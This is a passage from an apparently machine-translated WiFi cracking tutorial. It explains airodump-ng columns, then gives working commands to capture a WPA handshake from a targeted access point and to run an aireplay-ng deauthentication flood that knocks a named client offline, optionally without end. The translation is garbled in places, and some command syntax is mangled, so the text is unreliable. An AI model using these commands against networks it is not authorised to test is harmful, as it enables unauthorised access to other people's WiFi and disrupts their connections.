Description of main parameters:


#BSSID: MAC address of router and AP


#PWR: the signal strength is smaller and stronger


#Data: the size of the data to be transmitted. It may be downloading or watching videos


# CH      : Wireless channel, we should pay attention to it


# ENC    : Encryption protocol, since WPA2 protocol burst out significant security Vulnerability, now out of WPA3, wait for update


# ESSID  : This is needless to say, WiFi name, there may be confusion in Chinese


3. When the target has the target, it starts to monitor and obtain the cap packet. Here, the connected device must be reconnected to capture the packet. You can wait slowly or use the deauth flood attack.


 


root@huan : airdump ng - C 9 -- BSSID 78:11: DC: 10:4f: 66 - w / root / desktop / wuxianpj / handshake / wlan0mon


//The path after - W stores the handshake packet

4. In another window, we use the deauth flood attack to make one of the devices drop the line, and it will automatically connect after it drops the line (unless other people check the automatic connection in WiFi settings)


root@huan :~#aireplay-ng -0 20 -c 6C:88:14:F2:47:8C -a 78:11:DC:10:4F:66 wlan0mon


// -0   In death mode, 20 is the number of attacks. You can also set it to 0, that is, attack all the time


//- C this is naturally the MAC address of a device connected to it. Specify it and let it drop off the line stably.
